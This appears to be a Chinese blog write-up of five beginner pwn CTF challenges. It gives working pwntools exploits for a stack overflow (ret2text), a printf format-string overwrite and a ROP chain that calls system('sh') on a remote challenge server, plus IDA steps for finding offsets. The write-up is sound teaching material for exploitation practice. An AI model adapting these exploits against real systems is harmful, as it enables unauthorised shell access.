pwn的五道基础题

一:ret2text

from pwn import *
context.arch="amd64"
io=remote("101.34.90.86",10002)
secure_addr=0x400852
payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)
io.sendlineafter("name",payload)
io.interactive()


我们需要获取四个部分

1:服务器地址与端口号

题目会直接给你,比如这道题目的地址为node2.zjnuoj.com,端口号为38011,对应上述脚本的io=remote(“101.34.90.86”,10002)

image-20220327113125324

如果你不想填入域名,而想填入端口号,打开cmd,输入ping node2.zjnuoj.com即可获得

2:传入参数

一般ret2text会有一个接收参数的方法,我们需要使传入的参数大于他自定义的参数范围既可pwn穿。

将ret2text文件拖入IDA中,找到main函数后双击
在这里插入图片描述

按F5反汇编

在这里插入图片描述

找到三个方法后都点进去看看

image-20220327114034802

观察到是get接收,同时问题是tell me your name,所以其中有个参数为name,则填入

io.sendlineafter(“name”,payload)

如果问的问题是:tell me anything,则填入的参数为:

io.sendlineafter("?",payload)

3:参数的接收范围

我们发现范围是0-10h,则我们填入payload=b"a"*0x10+b"a"*0x8+p64(secure_addr)

在这里插入图片描述

如果我们发现范围为1-64h,则我们填入:payload=b"a"*0x64+b"a"*0x8+p64(secure_addr)

4:找到bin/sh所在的地址

按Shift+F12进行全局搜索

image-20220327115322933

image-20220327115439615

发现在backdoor方法里

我们在左边的边框找到backdoor

image-20220327120030683

点进去

image-20220327120052870

然后按tab键,有时候按tab+空格键

image-20220327120236932

找到地址为400852,填入

secure_addr=0x400852

将脚本拖到虚拟机中,在此处打开终端,输入

python3 exp.py

image-20220327120421672

cat flag.txt即可获得flag

二:your_nc

先运行一下试试

端口号题目给出了:101.34.90.86 10004

在这里插入图片描述

这个题目没什么原则,运行一下就发现可以进入了,然后直接ls再cat一下就好了

三:overflow

这个题目的端口号为:101.34.90.86 10000

我们还是把他拖到IDA中

image-20220327160915681

我们分析代码,看到scanf知道题目要我们输入两个参数v5和v4,unsigned表示无符号数》1表示右移一位,右移表示除以2,abs表示取绝对值

所以v6的值为(v4+v5)/2+|(v5-v4)|/2,注意前为无符号,后为有符号

所以其实v6就是求两者的最大值

如果输入的数不是整数,则返回too young

然后令v7=v5*v4

如果v6等于v7,则返回一个假的flag,如果v6<=v7,则返回Well…but where is the flag?

所以得到flag当然需要v6>v7

我们又知道,负数的无符号数要大于正数的无符号数

因为负数的无符号数为1XXXXXXX

而正数的无符号数为0XXXXXXX

所以我们只需要输入两个数字,两个数字都为负数即可。

image-20220327163209186

四:printf

端口号:101.34.90.86 10001

from pwn import *

context.arch="amd64"

io=remote("101.34.90.86",10001)
# io =process("./printf")

sth_addr=0x60108C

io.recvuntil("Give me something to printf:")
# 6表示字符串偏移,将sth_addr改为114514
payload = fmtstr_payload(6,{sth_addr:114514})
io.send(payload)

io.interactive()

1:找到如何进入/bin/sh

首先还是观察一下main函数image-20220327181723176

函数告诉我们当sth==114514时我们可以进入bin/sh

2:找到sth的地址

我们直接点进去发现60108C是sth的地址

image-20220327182335124

3:获得格式化字符串的偏移量

首先运行文件输入./printf

发现权限不够,则输入chmod 777 printf

然后输入aaaaaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

image-20220327184226423

我们数一数发现a到0x61(包括0x61)的有6个偏移量

则payload = fmtstr_payload(6,{sth_addr:114514})

将exp拖入虚拟机中运行

image-20220327184743566

五:rop

端口号为:“101.34.90.86”,10003

脚本:

from pwn import *

context.arch="amd64"

io=remote("101.34.90.86",10003)
# io =process("./rop")
elf=ELF("./rop")

# 表示全局搜索elf文件中名称为“system”的函数
system_addr=elf.sym["system"]

# \x00表示字符串中止标记,即找到含有sh的字符串,b是字符串标记
# elf.search表示获得含有sh字符串地址的列表,next表示获得列表中的第一个地址
sh_addr=next(elf.search(b"sh\x00"))

# asm表示将“pop rdi;ret”编译为二进制代码
pop_rdi_ret=next(elf.search(asm("pop rdi; ret")))
# 获得含有return的地址
ret_addr=next(elf.search(asm("ret")))

# bi0xbi0x表示八个字节的占位符,也可以写成0x8
# p64(ret_addr)是为了补充位数,没有其他特别含义
payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)
# p64表示翻译为0与1,进行字符串+即执行每个地址对应的指令
payload+=p64(pop_rdi_ret)+p64(sh_addr)+p64(system_addr)


io.sendline(payload)

io.interactive()

我们还是在IDA中打开,双击查看mian。然后F5反汇编

image-20220327202821089

每个函数都查看一下发现:

在这里插入图片描述

这个就是在告诉我们偏移地址

payload = b"b"*0x20+b"bi0xbi0x"+p64(ret_addr)

同时我们需要找到/bin/sh文件的位置,按shift+f12,发现没有/bin/sh,但是有/bin/woodwhale

在这里插入图片描述

所以我们接下俩的操作为:

1:获取代码中任意一个函数的地址

system_addr=elf.sym[“system”]

2:获取含有sh的字符串的地址

sh_addr=next(elf.search(b"sh\x00"))

3:获得pop rdi ret的地址

pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

所以这个题目我们需要干什么呢?

我们希望执行/bin/sh来进入对方的终端,但是我们并不知道/bin/sh的地址,但是我们可以找到一个函数,然后在函数中传入sh这个参数,这样我们就相当于执行/bin/sh了,那我们怎么往函数中传入参数呢。

首先我们获得sh这个字符串的地址,然后执行pop rdi ret。pop rdi是指将sh存放进入rdi中,同时rip这个指针指向sh。但是pop会导致sh不在程序执行流,所以要加一个ret,来回到程序执行流,最后我们使用p64(system_addr)来执行system即执行/bin/sh

在虚拟机中执行

image-20220327211049644

拓展:

1:为什么使用rdi

因为我们需要用到寄存器来存放地址,除了rdi以外我们还可以使用rsi rdx rcx r8 r9

2:获取地址有没有其他方式

我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

其实我们也可以直接获得pop rdi ret这个操作的地址

在这里插入图片描述

image-20220327211653561

所以我们也可以直接写成

pop_rdi_ret=0x00000000004008d3

image-20220327211952228
没有其他方式

我们上文中获取地址是通过pop_rdi_ret=next(elf.search(asm(“pop rdi; ret”)))

其实我们也可以直接获得pop rdi ret这个操作的地址

在这里插入图片描述
在这里插入图片描述

pop_rdi_ret=0x00000000004008d3

在这里插入图片描述

  • 9
    点赞
  • 72
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值